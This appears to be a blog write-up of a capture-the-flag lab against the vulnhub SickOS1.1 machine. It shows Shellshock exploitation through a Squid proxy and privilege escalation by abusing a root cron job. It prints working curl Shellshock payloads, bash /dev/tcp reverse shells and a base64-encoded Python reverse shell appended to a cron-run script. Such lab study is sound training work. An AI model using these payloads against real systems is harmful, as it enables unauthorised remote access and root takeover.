Table of contents
Step 1: Host discovery and port scanning
Step 2: Shellshock vulnerability discovery
Step 3: Exploitation of shellshock vulnerability
Step 4: Elevate the rights of scheduled tasks
write at the beginning
This article is still a reproduction of the idea and process of shooting by the red team's note-taking boss. Describes the detailed shooting idea of SickOS1.1 target machine. Different from the previous blog, this article mainly uses the idea of shellshock vulnerability exploitation. The knowledge points involved include nikto scanning, shellshock vulnerability utilization, msfvenom generating payload, timing task privilege escalation wait. For the full shooting video, see:
The idea of using squid proxy analysis + web penetration cms background to obtain root permissions is detailed in my previous blog:
Red team shooting: Squid proxy analysis of SickOS1.1 detailed shooting ideas
The target machine targeted in this article is from vulnhub. For details, see:
For the download link of the target machine, see:
https://download.vulnhub.com/sickos/sick0s1.1.7z
Step 1: Host discovery and port scanning
This step directly refers to the previous blog, the link is as follows:
Red team shooting: Squid proxy analysis of SickOS1.1 detailed shooting ideas
The ip of the target machine is 192.168.200.141, the open ports are 22 and 3128, and there is a closed port 8080. The ip of the kali host is 192.168.200.131. The previous article has described the scanning process in detail, so I won't repeat it here.
Step 2: Shellshock vulnerability discovery
Use nikto to scan the target machine. Nikto is a tool for web server vulnerability scanning, which comes with Kali. In the previous blog, we already know that the http proxy must be used for scanning, so we use the proxy 192.168.200.141:3128 to scan the target machine 192.168.200.141, the command is as follows:
nikto –h 192.168.200.141 –useproxy http://192.168.200.141:3128
The scan results found that there is a shellshock vulnerability in the path /cgi-bin/status directory. shellshock is a bash exploit, also known as Bashdoor. In fact, I don’t know much about it. Baidu Encyclopedia’s simple search results are as follows:
Baidu Encyclopedia Shellshock Vulnerability
We tried to use curl to send a request for verification, the command is as follows:
curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"To be honest, I didn’t know much about the detailed meaning of this line of command before. The red team note boss said that just memorize it, or search it online. After searching here, I explain the meaning of the specific command parameters as follows:
curl: Curl is a command-line tool for sending HTTP requests and getting corresponding data.-v: This option indicates to display detailed output when executing the request, including request headers and response information.--proxy http://192.168.200.141:3128: This option specifies to use a proxy server for the request. The address of the proxy server is192.168.200.141and the port is3128. This is to initiate requests through a proxy server, possibly to bypass some firewalls or perform a man-in-the-middle attack.http://192.168.200.141/cgi-bin/status: This is the URL address to request.192.168.200.141is the IP address of the target server,/cgi-bin/statusand is the path of a CGI script on the target server.-H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": This option specifies a custom request header "Referer". The Shellshock vulnerability can execute arbitrary commands by constructing malicious Referer headers. In this example, the constructed Referer header contains a Shellshock payload to execute/usr/bin/idthe command and print the current user's identity information.
The results are as follows, the id information is successfully echoed, indicating that there is indeed a shellshock vulnerability
Step 3: Exploitation of shellshock vulnerability
Next, we take advantage of the vulnerability of shellshock and use msfvenom to generate a reverse shell command to port 443 of kali (192.168.200.131). msfvenom in Kali replaces msfpayload and msfencode, and is often used to generate backdoor Trojans . Generate the bash rebound shell command as follows:
msfvenom -p cmd/unix/reverse_bash lhost=192.168.200.131 lport=443 -f raw-p means to specify the payload (attack load) that needs to be used. Here, the reverse bash shell is used, that is, reverse_bash; -f specifies the output format. Here, the source format raw is used. lhost and lport represent the ip and port of the rebound shell, here is the ip of kali and the 443 port that nc will listen to later. The generated command is as follows:
Readers don’t need to look at a lot of warnings in front of it. Anyway, the payload is successfully generated. The key information is as follows:
Payload size: 78 bytes
bash -c '0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120'
The key is the content inside the quotation marks (ie 0 <&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120 ), which will be put into the payload command constructed by curl later. First open the listening port 443 in Kali.
nc -lvnp 443
Then use the curl command to execute the payload. In fact, the format here is basically the same as the previous shellshock verification. It is nothing more than modifying the statement executed by the command to the payload of the rebound shell. The complete command is as follows:
curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120"After running this command, let's see if the 443 port that nc listens on has got a rebound shell:
The monitored port did not receive a rebound shell, indicating that there is no corresponding directory, so the sh in the command should be written as the full path /bin/bash, and we restart a monitor first:
Next, another terminal reconstructs the curl command and changes sh to /bin/bash. The complete command is as follows:
curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() { test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"Going back to port 443, I found that I got a shell successfully. I ran the command whoami, and I can see that the shell is www-data. The result is as follows:
I feel that the interactivity of the www-data shell is not very good. Let's use dpkg -l to see if there is python, and try to use python to get a shell with better interactivity.
dpkg –l
It is found that there are, and a lot of services are installed. We try to use python to get a more interactive shell:
python -c "import pty;pty.spawn('/bin/bash')"
Yes, at least you can see the current user and directory. We check the permissions of www-data, the command is sudo -l, but he asked us to enter the password, we don’t know the password of the www-data shell, this way seems to be blocked.
Step 4: Elevate the rights of scheduled tasks
We have obtained the www-data shell, and the next step is to find a way to elevate the privilege to root. We can only see what information can be used in the shell of www-data. www-data is generally the authority of the website, first look at what is in the website and directory /var/www/.
cd /var/www/
ls
In the root directory of the website, there are index.php and robots files, which are very common. At the same time, there is also a folder named wolfcms. After reading the previous blog, it is easy to know that this is a deployed cms, and it is also very common. Also found a somewhat strange connect.py, open it and check its permissions:
cat connect.py
This python file is to print two sentences, literal translation: I try to make frequent (periodic) connections. You might want to try this service . At the same time, check the permissions of the connect.py file and find that it is 777 permissions, which is periodically connected, which reminds us to look for crontab timing tasks . After entering the etc directory, check the crontab of the scheduled task. Unfortunately, nothing can be seen
Then we search for other scheduled tasks, usually starting with cron:
cat cron*
We found that besides crontab, there are several directories, let’s look at them one by one, first look at cron.d:
cd cron.d
ls -liah
There are three files found, .placeholder,automate,php5. Let's look at it one by one, first look at .placeholder
,placeholder tells us not to edit or delete this file, so let's leave him alone. Look at the next automate:
It is found that this is a timed task, and the connect.py file will be executed every minute as root . This connect.py is the file we just gave us a reminder, so we thought of the method of privilege escalation, adding payload to the connect.py file to bounce the shell , because it will be executed periodically, we just need to wait for the scheduled task to execute . Then, you need to generate the payload of the rebound shell in python, or use msfvenom, this time -p specifies to get the python rebound shell, the command is as follows (bounce to port 444):
msfvenom -p cmd/unix/reverse_python lhost=192.168.200.131 lport=444 -f raw
Copy what's in the quotes:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))
Then the terminal starts listening on port 444:
nc –lvnp 444
Go back to the www-data shell and add the payload generated by msfvenom in the /var/www/connect.py file. Since the interactivity of this shell is still poor, the vi or vim tool is too difficult to use, so I directly append the command to connect.py, and the directory to run the command is /var/www
echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >>connect.pyNo error is reported, let's cat connect.py to see if the addition is successful:
Wait for up to 1 minute (the period of the scheduled task is 1 minute), and then you can get the root shell on the port 444 you just listened to.
Similarly, the interactivity of this shell is also very poor, we still use python to improve interactivity:
python -c "import pty;pty.spawn('/bin/bash')"
This is successful, and it is found that the current directory (that is, /root) has a4d51874464078c618298b1367.txt, which is the flag. At this point, the shooting is complete.
Summary and reflection
Compared with the previous article using squid proxy analysis + wolfcms to log in to the background penetration method, I feel that the idea of using shellshock vulnerability exploitation in this article is clearer and clearer, and the penetration process also reduces some accidental luck. The last part of privilege escalation uses a scheduled task. We can also guess from the original two lines of printed prompt information in connect.py. This is exactly what the author of the target machine reminded us of. This target machine is not complicated. A complete summary of the shooting ideas in this article:
1. Host discovery and port scanning. Ditto for the previous blog post.
2. Vulnerability scanning/verification: Use nikto to scan and find the shellshock vulnerability, and use the curl request to verify that the vulnerability does exist, allowing remote code execution.
3. Vulnerability exploitation: use msfvenom to generate the payload of the rebound shell, and successfully obtain the shell of the initial foothold www-data.
4. Elevation of rights: A strange file connect.py was found, prompting us to check the scheduled tasks. We successfully found that /etc/cron.d/automate will run connect.py every minute with root privileges. Therefore, add our rebound shell command to connect.py to get the root shell.
During the whole shooting process, some commands related to experience need to be remembered, such as how to use the curl command to detect shellshock vulnerabilities, how to use msfvenom to generate payloads, how to use python to obtain a shell with better interactivity, etc., maybe what makes perfect , Follow the big guys to learn slowly, and you can always accumulate experience slowly. Hope you learn something soon .
I am also a rookie who has just started to get started with network security. If readers think that the summary I wrote is good, please like it and give it a lot of support. If you have any questions about shooting ranges and vulnerabilities, you can also point them out in the comment area, and I will definitely know everything. In the follow-up blog, I will also share all kinds of knowledge I have learned about Internet security, and also witness my own learning path.